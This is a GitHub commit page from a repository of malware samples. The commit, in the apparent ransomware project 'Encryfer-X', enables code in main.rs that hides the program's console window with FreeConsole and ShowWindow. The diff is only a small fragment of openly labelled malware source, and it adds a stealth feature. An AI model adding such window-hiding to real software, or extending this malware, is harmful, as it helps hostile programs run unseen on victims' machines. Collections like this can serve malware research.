Skip to content

Commit e1d488c

Browse files
authored
Encryfer-X: Enabling Options By Default
1 parent 8cbe1d2 commit e1d488c

File tree

1 file changed

+9
-11
lines changed
  • Malware-Samples/Encryfer/Encryfer-X/src

1 file changed

+9
-11
lines changed

Malware-Samples/Encryfer/Encryfer-X/src/main.rs

Lines changed: 9 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -78,19 +78,17 @@ fn main() {
7878

7979

8080
// Rust has better options for this !
81-
/*
81+
8282
// used to hide window ! there are plenty of methods avaiable !
83-
// unsafe{
84-
// FreeConsole();
85-
86-
// let hwnd = GetConsoleWindow();
87-
// if !hwnd.is_null(){
88-
// ShowWindow(hwnd, 0);
89-
// }
90-
// }
91-
92-
*/
83+
unsafe{
84+
FreeConsole();
9385

86+
let hwnd = GetConsoleWindow();
87+
if !hwnd.is_null(){
88+
ShowWindow(hwnd, 0);
89+
}
90+
}
91+
9492
// Uncomment it to test it on VMs
9593

9694
// => Start

0 commit comments

Comments
 (0)